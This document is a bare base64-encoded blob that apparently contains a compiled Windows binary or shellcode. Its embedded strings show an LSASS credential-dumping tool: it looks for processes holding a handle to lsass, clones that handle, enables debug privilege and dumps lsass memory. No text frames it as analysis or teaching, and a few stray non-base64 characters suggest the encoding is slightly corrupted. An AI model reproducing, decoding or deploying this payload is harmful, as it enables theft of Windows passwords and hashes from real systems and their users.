DUWdBUUFBVElueVNJbUVKQ2dCQUFEL2x1QUFBQUJJaTRRaytBRUFBRXdCK0VpTFdBaEloZHQxSnVuU0FBQUFacEJJaTRRaytBRUFBRW1CeFFBRUFBQk1BZmhJaTFnSVREbnJENGF4QUFBQVNZblpSQ25yVFNucFNZSDUvd01BQUhZTFFia0FCQUFBdXdBRUFBQklpeEJNaVdRa0lFbUo2RWlMakNTZ0FRQUFTTWVFSkxBQUFBQUFBQUFBVEFIcTZEM3ovLytGd0hXWlNJbDBKQ0JKaWZsQmlkaElpZXBJaTR3azJBRUFBT2crQWdBQTZYbi8vLzltRHgrRUFBQUFBQUJJQWNJNVNsQVBoTUgxLy8rTEFvWEFkZTVJaTc2UUFBQUEvNWFJQUFBQVNZbllNZEpJaWNILzF6SEFTSUhFR0FZQUFGdGVYMTFCWEVGZFFWNUJYOE9RaTF3a1BFaUxqQ1RZQVFBQVJUSEpSVEhBVEFPMEpDZ0JBQUNKMm9QREVQK1dvQUFBQUVpSmRDUWdTSXRVSkVCTmllRklpNHdrMkFFQUFFRzRFQUFBQU9pckFRQUFnMFFrTUFHTFJDUXdpVndrUER1RUpBQUNBQUFQZ25IKy8vK0xSQ1JnU0l1TUpOZ0JBQUJGTWNsRk1jQ0poQ1NvQUFBQWk0UWszQUFBQUkxUUdQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9oSUFRQUFpNFFrM0FBQUFFVXh5VVV4d0VpTGpDVFlBUUFBalZBay81YWdBQUFBU0lsMEpDQklpNHdrMkFFQUFFbUo2VWlObENTWUFBQUFRYmdNQUFBQTZBY0JBQUJJaTd3azZBRUFBRWlMbnBBQUFBRC9sb2dBQUFBeDBrbUorRWlKd2YvVFNJdThKUGdCQUFCSWk1NlFBQUFBLzVhSUFBQUFNZEpKaWZoSWljSC8wMGlMdkNUQUFRQUFTSXVla0FBQUFQK1dpQUFBQURIU1NZbjRTSW5CLzlOSWk3d2tzQUVBQUVpTG5wQUFBQUQvbG9nQUFBQXgwa2lKd1VtSitQL1R1QUVBQUFEcGZQNy8vMHlKOGVrMy9QLy9USXUrZ0FBQUFNZUVKQVFDQUFBZ0FBQUEvNWFJQUFBQVFiZ0FBZ0FBTWRKSWljRkIvOWRKaWNkSWlZUWsrQUVBQUUyRi93K0Y3dnYvLzBqSGhDUUFBZ0FBQUFBQUFFeUx0Q1FvQWdBQTZRNzcvLytMUkNSZ3gwUWtaQVFBQUFESGhDU0VBQUFBQUFBQUFJUEFCSW1FSk9BQkFBRHBZUHIvLzBGV1RZbk9RVlZKaWMxQlZGVlhTSW5YVmxORWljTklnK3d3VEl1a0pKQUFBQUJKaTdRa2dBQUFBRUgvbENTSUFBQUFNZEpKaWRoSWljSC8xa2lGd0ErRWd3QUFBRWlKM1VpSnhvWGJkQzB4d0E4ZmdBQUFBQUFQdGhRSGlCUUdTSVBBQVVnNXczWHdTSW53U0FIelpwQ0FNRUZJZzhBQlNEbkRkZlJCaWVoSWlmSk1pZWxOaWZGSXgwUWtJQUFBQUFCQi8xUWtlRW1MbkNTUUFBQUFRZitVSklnQUFBQklnOFF3U1lud01kSklpY0ZJaWRoYlhsOWRRVnhCWFVGZS8rQVBINEFBQUFBQVNJUEVNRnRlWDExQlhFRmRRVjdEa0pDUWtKQ1FrSkNRUVZjeHdFRldRVlZCVkZWWFZraUp6cmtlQUFBQVUwaUI3RmdIQUFCSWpid2tRQUVBQUV5SmhDU3dCd0FBODBpcnVSNEFBQUJJeDBRa1lBQUFBQUJJeDBRa2FBQUFBQURIaENTd0FBQUFNQUFBQUVqSGhDUzRBQUFBQUFBQUFNZUVKTWdBQUFBQUFBQUFTTWVFSk1BQUFBQUFBQUFBeHdjQUFBQUFTSTI4SkZBQ0FBRHpTS3RJdUZBQWNnQnZBR01BU01lRUpOQUFBQUFBQUFBQVNJbUVKSUFBQUFCSXVHVUFjd0J6QUFBQVNJbUVKSWdBQUFDNGN3QUFBRWpIaENUWUFBQUFBQUFBQUVqSFJDUndBQUFBQUVqSFJDUjRBQUFBQUVqSGhDUXdBUUFBQUFBQUFFakhoQ1E0QVFBQUFBQUFBRWpIaENSQUFnQUFBQUFBQUVqSGhDUklBZ0FBQUFBQUFNY0hBQUFBQU1kRUpGcHNjMkZ6Wm9sRUpGNkxEb1hKRDRTVkF3QUFpZFZOaWN3eDIwVXgvMFV4OXVzT0R4OEFnOE1CT1I0UGhqMERBQUNKMzRYdGRBcElqUVIvT1d6R0NIWGxTSTBFZjR0RXhoZzlBQUFRQUErVndUMkpBUklBRDVYQ2hORjB5U1gvLy9mL1BaOEJFZ0IwdlUyRjluUVFRYmdBZ0FBQU1kSk1pZkZCLzFRa09FaU5CSDlJalV3a2FMcEFCQUFBU01kRUpIZ0FBQUFBVEkwc3hreU5UQ1J3UVl0RkNFeU5oQ1N3QUFBQVNJbEVKSERvUE9mLy8wRVB0MVVPeDBRa01BQUFBQUJNalV3a1lNZEVKQ2dBQUFBQVNJdE1KR2hKeDhELy8vLy94MFFrSUJBRUFBRG9QZVQvLzBHNUJBQUFBRUc0QUJBQUFESEp1Z0FRQUFCQi8xUWtTRW1KeGtpRndBK0VHLy8vLzBpTFRDUmdRYmtBRUFBQVNZbkF1Z0lBQUFCSXgwUWtJQUFBQUFEbzl1ci8vNFhBRDRqeS92Ly9TWXRPQ0VpTmxDU0FBQUFBUWY5VUpGQ0Z3QStGMmY3Ly8waU52Q1F3QVFBQU1kSklpMHdrWUVHNUJBRUFBRW1KK0VIL1ZDUmdoY0FQaExUKy8vOUlqWVFrUUFJQUFFaUxUQ1JvUWJnRUFRQUFTSWxFSkVoSWljSkIvMVFrYUlYQUQ0U00vdi8vU0kxVUpGcElpZmxCLzFRa1dFaUZ3QStFZHY3Ly8wSDNSUmdRQkFBQUQ0Um8vdi8vU0l0TUpFaElqYndrWUFNQUFFeU52Q1JRQlFBQVFmOVVKSEM1UGdBQUFFeUxSQ1J3U0xwa0lHRnVaQ0J6ZFVtSndVaTRXeXRkSUVadmRXNUlpWlFrNkFBQUFFaTZiSGtnWTJ4dmJtVklpWVFrNEFBQUFFaTRZMk5sYzNObWRXeElpWVFrOEFBQUFFaTRaQ0JvWVc1a2JHVklpWVFrQUFFQUFFaTRJR3h6WVhOeklHbElpWVFrRUFFQUFFaTRDVnNyWFNCSVlXNUlpWVFra0FBQUFFaTRkSE02SUNWNENnQklpWVFrb0FBQUFESEE4MGlyU0ltVUpQZ0FBQUJJamJ3a1lBVUFBRWk2SUNnbFpDa2dkRys1UGdBQUFFaUpsQ1FJQVFBQVNMcHVPaUFsY3lBb0pmTklxMGlKbENRWUFRQUFTSTI4SkZBREFBQkl1bVJzWlNCU2FXZG9TSW1VSkpnQUFBQklpZmxJalpRazRBQUFBRXlKUkNRZ3g0UWtJQUVBQUdRcENnQkl4NFFrVUFNQUFBQUFBQUJJeDRRa1dBTUFBQUFBQUFCSXg0UWtVQVVBQUFBQUFBQkl4NFFrV0FVQUFBQUFBQUJCLzFRa0dFV0xSUmhNaWZsSWpaUWtrQUFBQUVIL1ZDUVlTSXVNSkxBSEFBQklpZnBCLzFRa0NFeUora2lMakNTd0J3QUFRZjlVSkFoTWkzd2tZSVh0ZFZsTWlmbUR3d0ZCLzFRa0tEa2VENGZKL1AvL1pnOGZSQUFBU0l0TUpHaEloY2wwQlVIL1ZDUW9UWVgyZEJCQnVBQ0FBQUF4MGt5SjhVSC9WQ1E0U0lIRVdBY0FBRXlKK0Z0ZVgxMUJYRUZkUVY1Qlg4TkZNZi9yNUVpTFRDUm9TSVhKZGNEcnlKQ1FrSkJCVjBtSjEwRldUWW5HUVZWQmljMU1pY2xCVkZOTWljdElnZXl3QUFBQTZPd0xBQUJJaGNBUGhGTUJBQUJFaWVwSmlkbE5pZmhJaWNGSmljVG83L3IvLzBtSnhVaUZ3QStFa3dJQUFFaTRXeXBkSUU1dmR5Qk1pZm5HUkNSaUFFaTZkSEo1YVc1bklIUklpVVFrUUVpNGJ5QmtkVzF3SUd4SWlWUWtTRWk2YzJGemN5QXVMaTVJaVVRa1VMZ2dDZ0FBU0lsVUpGaElqVlFrUUdhSlJDUmcvMU1JVElueFJUSEpSVEhBU01kRUpEQUFBQUFBdWdBQUFFREhSQ1FvZ0FBQUFNZEVKQ0FDQUFBQS8xTWdTWW5HU0lQNC93K0VGZ0VBQUV5SjZmOVRNRW1KMlUySjhFeUo2WW5DNkxEci8vK0Z3QStFZUFFQUFFaTRXeXRkSUV4ellYTk1pZmxJdW5NZ1pIVnRjQ0JweDRRa2lBQUFBSFJsQ2dCSWlVUWtjRUcvQVFBQUFFaTRjeUJqYjIxd2JHVklpVlFrZUVpTlZDUndTSW1FSklBQUFBRC9Vd2hOaGZaMEJreUo4ZjlUS0V5SjZmOVRLRUc0QUlBQUFESFNUSW5oLzFNNFNJSEVzQUFBQUVTSitGdEJYRUZkUVY1Qlg4Tm1EeCtFQUFBQUFBQkl1RnN0WFNCR1lXbHNUSW41U0xwbFpDQjBieUJuWmNlRUpKQUFBQUJzWlhNS1NJbEVKSEJGTWY5SXVIUWdZU0JzYVhOMFNJbFVKSGhJdWlCdlppQm9ZVzVrU0ltVUpJZ0FBQUJJalZRa2NFaUpoQ1NBQUFBQXhvUWtsQUFBQUFEL1V3anBlLy8vL3c4ZmhBQUFBQUFBU0xoYkxWMGdRMjkxYkV5SitVaTZaQ0J1YjNRZ2QzTEhoQ1NZQUFBQWFXeGxDa2lKUkNSd1JUSC9TTGhwZEdVZ2RHOGdjMGlKVkNSNFNMcHdaV05wWm1sbFpFaUpoQ1NBQUFBQVNMZ2diM1YwY0hWMFpraUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBTWFFSkp3QUFBQUEvMU1JNmQvKy8vOW1EeDlFQUFCSXVGc3RYU0JUYjIxbFRJbjVSVEgvU0xwMGFHbHVaeUIzWlVpSlJDUndTTGh1ZENCM2NtOXVaMGlKVkNSNFNMb2dkMmhwYkdVZ1pFaUpoQ1NBQUFBQVNMaDFiWEJwYm1jS0FFaUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBUDlUQ09sdC92Ly9aZzhmaEFBQUFBQUFTTGhiTFYwZ1EyOTFiRXlKK1VpNlpDQnViM1FnWm1uSGhDU2dBQUFBYVdRS0FFaUpSQ1J3UlRIL1NMaHVaQ0JoY0hCeWIwaUpWQ1I0U0xwd2NtbGhkR1VnYUVpSmhDU0FBQUFBU0xoaGJtUnNaU0JwYmtpSmxDU0lBQUFBU0xvZ1oybDJaVzRnY0VpSmxDU1lBQUFBU0kxVUpIQklpWVFra0FBQUFQOVRDT254L2YvL2tKQ1FrSkNRa0pDUWtKQ1FRVmU0cUJVQUFFRldRVlZCVkZWWFZsUG9hdHovLzBHNEFCQUFBRWdweEVtSnpESEF1UUFDQUFCSWpid2tvQVVBQUVpTm5DU2dBUUFBU0luVlNNZEVKSEFBQUFBQTgwaXJ1VUFBQUFCSWlkOU1qYlFrb0FNQUFQTklxMHlKOTdsQUFBQUFTSTIwSktBRkFBRHpTS3RNalV3a1pFaUo4a21MVENRUVNNZEVKSGdBQUFBQVNNZUVKSUFBQUFBQUFBQUF4MFFrWkFBQUFBRC9sUkFCQUFDTFJDUmtTSTJNSkpBQUFBQklpVXdrT01Ib0E0bEVKR1FQaElJQkFBQk1qWHdrY0RIL1RJbjRUWW4zU1luR0R4OUFBRW1MVENRUVNJc1dRYmtZQUFBQVRZbncvNVVZQVFBQWhjQVBoRDRCQUFCSmkwd2tFRWlMRmtHNUFBRUFBRW1KMlArVklBRUFBSVhBRDRRZkFRQUFTTGd1QUhNQWJ3QUFBRWlKMmNlRUpKZ0FBQUErQUFBQVNJbEVKR2hJdUR3QVpRQnNBR1lBU0ltRUpKQUFBQUQvbGNnQUFBQkltRXlOREVOSmpWSCtTRG5hY3gvcHZnSUFBR1lQSDRRQUFBQUFBSVA0TDNRVVNJMUMva2c1MkhJUFNJbkNEN2NDZy9oY2RlZElnOElDU1NuUnVmOEFBQUJCdVA4QUFBQk5pYzFNaVV3a0tFblIvVW1CK2Y4QkFBQk1EMGZwVEluNVM0MUVMUUJJaVVRa1FFd0IrRWlKUkNRdy8xVUFTSXRFSkRCTWkwd2tLREhKWm9rSVNZUDVDQStIaGdBQUFFbUQrUVlQaDVVQUFBQk1pZnJyQ3c4ZmdBQUFBQUJJZzhJQ0Q3Y0NSSTFBdjQxSUlHWkJnL2dhRDBMQlpva0Nab1hBZGVKTWkyd2tjSXRFSkhoSmkwd2tFRXlMUkNRNFRJbnFpVVFrS09nTERRQUFoY0FQaFpNQUFBQ0R4d0ZJZzhZSU9Yd2taQStIa3Y3Ly8waUJ4S2dWQUFCYlhsOWRRVnhCWFVGZVFWL0RaZzhmUkFBQVNZbm9USW5xVEluNTZOb0pBQUJJbUVpRndBK0ZQd0VBQUVpTFJDUkFTSTFVSkdoSmpVd0grditWS0FFQUFJWEFENFZPLy8vL1NZMVYvVW1KNkV5SitlaWpDUUFBU0poSWhjQVBoRFQvLy85SktjVklpMVFrT0V1TlRHLzYvNVVBQVFBQTZSei8vLytMaENUb0FBQUFUWXRFSkRDSlJDUXdpNFFrbUFBQUFJbEVKRUJOaGNBUGhPUUFBQUJCaTBRa09FR0xWQ1E4T2RCeVZVeUxuWmdBQUFBQjBreUpSQ1JZUVlsVUpEeUpWQ1JVVElsY0pFai9sWWdBQUFDTFZDUlVUSXRFSkZoTWkxd2tTRWlKd1V4cHlpZ0NBQUF4MGtILzAwbUp3RW1KUkNRd1RZWEFENFRGQUFBQVFZdEVKRGhJYWNBb0FnQUFTWXRNSkJCTWllcEJ1UVFCQUFCTmpVUUFIUCtWQ0FFQUFFR0xSQ1E0aTB3a0tFaUp3a2hwd0NnQ0FBQkpBMFFrTUlsSUVJdE1KRUNEd2dGTWlXZ0lpVWdVaTB3a01NY0FBQUFBQUlsSUdFR0pWQ1E0NlliKy8vOW1EeCtFQUFBQUFBQkpLY1V4MG1aQ2laUnNvQU1BQU9rWi92Ly9EeDlFQUFCQngwUWtQQ0FBQUFCTWk0MkFBQUFBVElsTUpFai9sWWdBQUFCQnVBQkZBQUJNaTB3a1NESFNTSW5CUWYvUlNZbkFTWWxFSkRCTmhjQVBoVHYvLy85SngwUWtPQUFBQUFEcEdQNy8vMEc0L3dBQUFFeUp5a3lKK2Y5VkFESEFab21FSktBREFBRHBxZjMvLzVDUWtKQ1FrSkNRa0pDUWtKQkJWYnA4WWZST1FWUkppY3k1WTlkUDVsZElnZXhRQWdBQTZJSUNBQUJJaGNBUGhIc0JBQUJKaWNDNExnQUFBRWlOZkNSQXVSNEFBQUJtaVVRa0xqSEFRUSsyRkNUelNLdTVIZ0FBQUVqSFJDUXdBQUFBQUVqSFJDUTRBQUFBQUVqSGhDUkFBUUFBQUFBQUFFakhoQ1JJQVFBQUFBQUFBTWNIQUFBQUFFaU52Q1JRQVFBQTgwaXJ4d2NBQUFBQWhOSjBHbVlQSDBRQUFBKzJ5RWlEd0FHSVZBd3dRUSsyRkFTRTBuWHNUSTFrSkRCSWpWUWtMa3lKNFVILzBFbUp3RWlGd0ErRTJnQUFBQSsyVUFIR0FBQ0UwZytFQ1FFQUFESEFEeCtBQUFBQUFBKzJ5RWlEd0FHSWxBeEFBUUFBUVErMlZBQUJoTkoxNkErMmhDUkFBUUFBaE1BUGhOZ0FBQUJNallRa1FRRUFBTGtGRlFBQUR4OEFpY3BKZzhBQndlSUZBZEFCd1VFUHRrRC9oTUIxNm9IeFJFTkNRVUdKelErMlJDUXdoTUFQaEtjQUFBQk1qVVFrTWJrRkZRQUFacENKeWttRHdBSEI0Z1VnxcFIQlFRKzJRUCtFd0hYcWdmRkVRMEpCNkk4QUFBQklpY0ZJaGNnxcYwU0o2dWl2Q0FBQVNJSEVVQUlBQUY5QlhFRmR3MmFRdVRHdEFqSG9aZ0FBQUVpSndVaUZ3SFVXTWNCSWdjUlFBZ0FBWDBGY1FWM0REeCtBQUFBQUFMcS9zLzBlNkc0SUFBQkloY0IwMjB5SjRmL1FTSW5CU0lYQWRhVXh3T3ZNRHgrRUFBQUFBQUJCdlVGV1FrSHBUUC8vLzdsQlZrSkI2WGYvLy8rUWtKQ1FrSkNRa0pDUWtHVklpd1FsWUFBQUFFaUxRQmlCOFVSRFFrRkJpY3BNaTFnZ1RZblpEeDhBU1l0SlVFaUZ5WFJqRDdjQlpvWEFkRjlJaWNvUEgwQUFSSTFBdjJaQmcvZ1pkd2FEd0NCbWlRSVB0MElDU0lQQ0FtYUZ3SFhpRDdjQlpvWEFkREpCdUFVVkFBQVBIMEFBUkluQ1NJUEJBc0hpQlFIUVFRSEFEN2NCWm9YQWRlbEZPY0owRjAyTENVMDV5M1dVTWNERGtFRzRCUlVBQUVVNXduWHBTWXRCSU1OQlZFR0oxRk9KeTBpRDdGam9ULy8vLzBpRndIVWl1VEd0QWpIb1FQLy8vMGlKd1VpRndIVW9TSVBFV0RIQVcwRmN3MllQSDBRQUFFaUR4RmhFaWVKSWljRmJRVnpwUmdjQUFHWVBIMFFBQUxxL3MvMGU2RFlIQUFCSWhjQjB5WUg3bCt4Ym1BK0VoUUFBQUlIN0RjbGlKZytFNlFBQUFJSDdZOWRQNWcrRXRRQUFBSUg3aUNiNEFBK0VBUUVBQUlIN3V3N085WFdSU0xwQmNHa3RiWE10ZDhaRUpFSUFTTGxwYmkxamIzSmxMVWlKVkNRZ1NMcDJaWEp6YVc5dUxVaUpUQ1FvU0xsc01TMHhMVEF1WkVpSlZDUXd1bXhzQUFCSWlVd2tPRWlOVENRZ1pvbFVKRUQvMEVpSndlc3NacEJCdUd4c0FBQklqVXdrSU1aRUpDb0FTTHRWYzJWeU16SXVaRWlKWENRZ1prU0pSQ1FvLzlCSWljRkloY2tQaEFYLy8vOUlnOFJZUkluaVcwRmM2VjRHQUFCbUR4OUVBQUJJdTFOb2JIZGhjR2t1U0kxTUpDREhSQ1FvWkd4c0FFaUpYQ1FnLzlCSWljSHJ2dzhmUkFBQVNMdEJaSFpoY0drek1raU5UQ1FneGtRa0xBQklpVndrSU1kRUpDZ3VaR3hzLzlCSWljSHJrZzhmaEFBQUFBQUFTTHRRYzJGd2FTNWtiTGxzQUFBQVpvbE1KQ2hJalV3a0lFaUpYQ1FnLzlCSWljSHBZdi8vLzVDUWtKQ1FrSkNRUVZSRk1jQkZNZVJXVTBpSnkwaUQ3RERIUkNRc0FBQUFBRWlOZENRc1NZbnhUSW5pdVJBQUFBRG9qTjMvLzRYQWVRbzlCQUFBd0hRWFJUSGtTSVBFTUV5SjRGdGVRVnpERHgrRUFBQUFBQUJOaGVSMERrRzRBSUFBQURIU1RJbmgvMU00UWJnQUVBQUFpMVFrTEVHNUJBQUFBREhKLzFOSVJJdEVKQ3hKaWNUcm5KQ1FrSkNRa0pDUWtKQ1FrSkNRUVZkQlZrV0p4a0ZWVFluTlFWUlZNZTFYU0lub1Zvbk91U2NBQUFCVFNJblRTSUhzeUFVQUFFaU52Q1NBQUFBQVRJMjhKSUFBQUFEelNLdE1pZm5vN1FZQUFFR0p4SVhBZFI1SWdjVElCUUFBUkluZ1cxNWZYVUZjUVYxQlhrRmZ3dzhmZ0FBQUFBQk1pZm5vQUEwQUFFR0p4SVhBRDRRZEFnQUFoZllQaE1VQUFBQkl1RnNxWFNCRGFHVmpUSW5wU0xwcmFXNW5JR1p2Y3NhRUpBQUVBQUFBU0ltRUpNQURBQUJCdkFFQUFBQkl1Q0J3Y205alpYTnpTSW1VSk1nREFBQkl1bVZ6SUhkcGRHZ2dTSW1FSk5BREFBQkl1R0VnYzNWcGRHRmlTSW1VSk5nREFBQkl1bXhsSUdoaGJtUnNTSW1FSk9BREFBQkl1R1VnZEc4Z2JITmhTSW1VSk9nREFBQkl1bk56SUM0dUxpQUtTSW1VSlBnREFBQklqWlFrd0FNQUFFaUpoQ1R3QXdBQS81UWtpQUFBQUV5SitreUo2ZWhDQlFBQTZRZi8vLzhQSDBRQUFFaU52Q1RRQVFBQXVUNEFBQUJGaWZER1JDUnlBRWk0V3lwZElFRjBkR1ZJdW0xd2RHbHVaeUIwU01lRUpNQURBQUFBQUFBQVRJMmtKTUFEQUFCSWlVUWtRRWlOdENUQUFRQUFTTGh2SUdOc2IyNWxJRWlKUkNSUVNMaHVaR3hsSUdaeWIwaUpSQ1JndUdRS0FBQm1pVVFrY0VpNFd5cGRJRTkxZEdaSWlVUWtJRWlKNlBOSXEwaUpWQ1JJdVQ0QUFBQkl1bXh6WVhOeklHaGhTSTI4Sk5BREFBQklpVlFrV0VpNmJTQndhV1E2SUNWSXg0UWt5QU1BQUFBQUFBRHpTS3RJaWZGSWlWUWthRWk2YVd4bE9pQWxjd3BJaVZRa0tFaU5WQ1JBeGtRa01BQkl4NFFrd0FFQUFBQUFBQUJJeDRRa3lBRUFBQUFBQUFEL2xDU1lBQUFBU1luWVRJbmhTSTFVSkNEL2xDU1lBQUFBU0lueVRJbnAvNVFraUFBQUFFeUo0a3lKNlVHOEFRQUFBUCtVSklnQUFBQk5pZmxKaWRoTWllcEVpZkhvMVBELy8rbTUvZi8vRHgrQUFBQUFBRWk2WkNCdWIzUWdaVzVNaWVsSXVGc3RYU0JEYjNWc3g0UWs0QU1BQUd4bFoyVklpWlFreUFNQUFFaTZkV2NnY0hKcGRtbElpWVFrd0FNQUFFaTRZV0pzWlNCRVpXSklpWlFrMkFNQUFMb0tBQUFBWm9tVUpPUURBQUJJalpRa3dBTUFBRWlKaENUUUF3QUEvNVFraUFBQUFPazcvZi8va0VGVlJUSEpSVEhTU0xndUFHRUFZd0J0QUVGVVZWZElpYzh4eVZaSWlkWXgwbE5NaWNORk1jQklnZXlvQUFBQVNJbEVKQ1F4d0V5TlpDUWtTSTFzSkdCbWlVUWtMRWk0TGdCa0FHd0FiQUJJaVVRa0xraTRMZ0JrQUhJQWRnQklpVVFrT0VpNExnQmxBSGdBWlFCSWlVUWtRa2k0TGdCdkFHTUFlQUJJaVVRa1RFaTRMZ0IyQUhnQVpBQklpVVFrVmtpTlJDUXVTSWxFSkdoSWpVUWtPRWlKUkNSd1NJMUVKRUpJaVVRa2VFaU5SQ1JNU0ltRUpJQUFBQUJJalVRa1ZtYUpWQ1EyWm9sTUpFQm1SSWxFSkVwbVJJbE1KRlJtUklsVUpGNU1pV1FrWUVpSmhDU0lBQUFBU01lRUpKQUFBQUFBQUFBQVRJbmgvNVBJQUFBQVFZbkZTSmhJT2ZCelBVaUo4a2dwd2tpTkRGZE1pZUwva3lnQkFBQ0Z3SFVaU0lIRXFBQUFBRVNKNkZ0ZVgxMUJYRUZkdzJZUEgwUUFBRXlMWlFoSWc4VUlUWVhrZGJCRk1lM3IxWkNRa0pDUWtFRldRVlZCVkVtSjFGVkVpY1ZYUkluUFZraUp6bE5JZyt3Z1NJdFpXRWlMaENTQUFBQUFTSVhiZEcyTFVXQkVpMGxrUkRuS2NqWkhqU3dKVEl1d21BQUFBRVNKYVdUL2tJZ0FBQUJGaWVsSmlkZ3gwa2lKd1VuQjRRUkIvOVpJaWNOSWlVWllTSVhiZEZ1TFZtQkJpZENEd2dGSndlQUVUQUhEVElramlXc0lpWHNNaVZaZ1NJUEVJRnRlWDExQlhFRmRRVjdERHg4QVNJdVlnQUFBQU1kQlpDQUFBQUQva0lnQUFBQkJ1QUFDQUFBeDBraUp3Zi9UU0luRFNJbEdXRWlGMjNXbFNNZEdZQUFBQUFCSWc4UWdXMTVmWFVGY1FWMUJYc09Ra0pDUVZWZFdVMGhqYVR4SUFjMkx2WWdBQUFCSUFjOUVpMDhnaTNjWVNRSEpoZlowVm9uVFNZbkxSVEhTZ2ZORVEwSkJRWXNCdVFVVkFBQk1BZGhNalVBQkQ3WUFoTUIwSVdZdUR4K0VBQUFBQUFDSnlzSGlCUUhRQWNGTWljQkpnOEFCRDdZQWhNQjE2VG5aZEJSSmc4SUJTWVBCQkV3NTFuVzRNY0JiWGw5ZHc0dFhKRXVOREZPTFJ4d1B0eFFSU1kwVWs0c0VBa3dCMkVnNXgzZmVpNVdNQUFBQVNBSFhTRG40ZDlCYlNJbkJYbDlkNlJyMS8vK1FrSkNRa0pDUWtKQ1FRVlJCdVVBQUFBQkppY3hYVmt5SnhsTklpZE5JZyt4NFNNZEVKQ0FBQUFBQVRJMUVKRERvWmRqLy8waGpWQ1JzU1lud1RJbmhTTWRFSkNBQUFBQUFRYmtJQVFBQWljZElBZHJvUWRqLy8yYUJmQ1F3VFZwMUJBbkhkQlF4d0VpRHhIaGJYbDlCWE1NUEg0UUFBQUFBQURIQWdUNVFSUUFBRDVUQTYrR1FrSkJCVlVtSnpVaUowVUZVVTBpSjAwaUQ3RkRvMmZqLy8waUZ3SFEwU1luRVNZblpUWW5vTWRKSWljSG80ZWYvLzB5SjRVRzRBSUFBQURIUy8xTTRTSVBFVUxnQkFBQUFXMEZjUVYzRER4OUFBRWk0V3kxZElFWmhhV3pIUkNSQWJHVnpDa3lKNlVpNlpXUWdkRzhnWjJWSWlVUWtJRWk0ZENCaElHeHBjM1JJaVZRa0tFaTZJRzltSUdoaGJtUklpVlFrT0VpTlZDUWdTSWxFSkRER1JDUkVBUDlUQ0VpRHhGQXh3RnRCWEVGZHcxTzZ6OC9ZRkVpSnk3a3hyUUl4U0lQc0lPaHA5di8vdWlmby9aTzVNYTBDTVVpSkEraFg5di8vdWs3b2hwTzVNYTBDTVVpSlF3am9SUGIvLzdxSCs5cTV1WmZzVzVoSWlVTVE2REgyLy8rNnZvYlVxcmt4clFJeFNJbERHT2dlOXYvL3VrT0pNbm01TWEwQ01VaUpReURvQy9iLy83cTFoTVFJdVRHdEFqRklpVU1vNlBqMS8vKzZhb3pOSjdreHJRSXhTSWxETU9qbDlmLy91dE5NYm5tNU1hMENNVWlKUXpqbzB2WC8vN3B4ZmU5T3VXUFhUK1pJaVVOSTZMLzEvLys2ZkdIMFRybGoxMC9tU0lsRFVPaXM5Zi8vdWc0S0pLVzVNYTBDTVVpSlExam9tZlgvLzdvdHh4RmZ1VEd0QWpGSWlVTmc2SWIxLy8rNk1SL1pucmxqMTAvbVNJbERhT2h6OWYvL3V2U3ZmaWU1TWEwQ01VaUpRM0RvWVBYLy83cEtKTDlldVRHdEFqRklpVU40NkUzMS8vKzZSazRhaDdreHJRSXhTSW1EZ0FBQUFPZzM5Zi8vdW9IUUNuYTVNYTBDTVVpSmc0Z0FBQURvSWZYLy83cGhnbk5mdVRHdEFqRklpWU9RQUFBQTZBdjEvLys2dGlpdEVya3hyUUl4U0ltRG1BQUFBT2oxOVAvL3VyK3ovUjY1TWEwQ01VaUpnNkFBQUFEbzMvVC8vN3F5ckVyQ3VUR3RBakZJaVlPb0FBQUE2TW4wLy8rNmVJMnNjYmt4clFJeFNJbURzQUFBQU9pejlQLy91a29jQ0lPNU1hMENNVWlKZzdnQUFBRG9uZlQvLzdwazZJYVR1VEd0QWpGSWlZUEFBQUFBNklmMC8vKzZXL2h6anJreHJRSXhTSW1EeUFBQUFPaHg5UC8vdXR1bzBaYTVNYTBDTVVpSmc5QUFBQURvVy9ULy83cUxlamhNdVRHdEFqRklpWVBZQUFBQTZFWDAvLys2elFWQlVMbTdEczcxU0ltRDRBQUFBT2d2OVAvL3VpcTZOcFM1dXc3TzlVaUpnK2dBQUFEb0dmVC8vN29ZMnljNXVic096dlZJaVlQd0FBQUE2QVAwLy8rNnFhajlrN2t4clFJeFNJbUQrQUFBQU9qdDgvLy91aVFLSktXNU1hMENNVWlKZ3dBQkFBRG8xL1AvLzdyVzNKemt1VEd0QWpGSWlZTUlBUUFBNk1Iei8vKzZ0VVQxdDdreHJRSXhTSW1ERUFFQUFPaXI4Ly8vdXRxY3pidTVNYTBDTVVpSmd4Z0JBQURvbGZQLy83cXZudjJUdVRHdEFqRklpWU1nQVFBQTZIL3ovLys2UlozOWs3a3hyUUl4U0lsRFFPaHM4Ly8vdXNBdDdQcTVEY2xpSmtpSmd5Z0JBQURvVnZQLy8waUR1eEFCQUFBQVNJbURNQUVBQUErRUVRSUFBRWlEdXhnQkFBQUFENFFyQWdBQVNJTzdJQUVBQUFBUGhFVUNBQUJJZzN0Z0FBK0VZZ0lBQUVpRGUyZ0FENFIvQWdBQVNJTzdDQUVBQUFBUGhKa0NBQUJJZzNzSUFBK0V2Z0VBQUVpRGV4QUFENFN6QVFBQVNJTjdHQUFQaEtnQkFBQklnM3NnQUErRW5RRUFBRWlEZXlnQUQ0U1NBUUFBU0lON01BQVBoSWNCQUFCSWczczRBQStFZkFFQUFFaURlMGdBRDRSeEFRQUFTSU43VUFBUGhHWUJBQUJJZzN0WUFBK0VXd0VBQUVpRGUyQUFENFJRQVFBQVNJTjdhQUFQaEVVQkFBQklnM3R3QUErRU9nRUFBRWlEZTNnQUQ0UXZBUUFBU0lPN2dBQUFBQUFQaENFQkFBQklnN3VJQUFBQUFBK0VFd0VBQUVpRHU1QUFBQUFBRDRRRkFRQUFTSU83bUFBQUFBQVBoUGNBQUFCSWc3dWdBQUFBQUErRTZRQUFBRWlEdTZnQUFBQUFENFRiQUFBQVNJTzdzQUFBQUFBUGhNMEFBQUJJZzd1NEFBQUFBQStFdndBQUFFaUR1OEFBQUFBQUQ0U3hBQUFBU0lPN3lBQUFBQUFQaEtNQUFBQklnN3ZRQUFBQUFBK0VsUUFBQUVpRHU5Z0FBQUFBRDRTSEFBQUFTSU83NEFBQUFBQjBmVWlEdStnQUFBQUFkSE5JZzd2d0FBQUFBSFJwU0lPNytBQUFBQUIwWDBpRHV3QUJBQUFBZEZWSWc3c0lBUUFBQUhSTFNJTzdFQUVBQUFCMFFVaUR1eGdCQUFBQWREZElnN3NnQVFBQUFIUXRTSU43UUFnx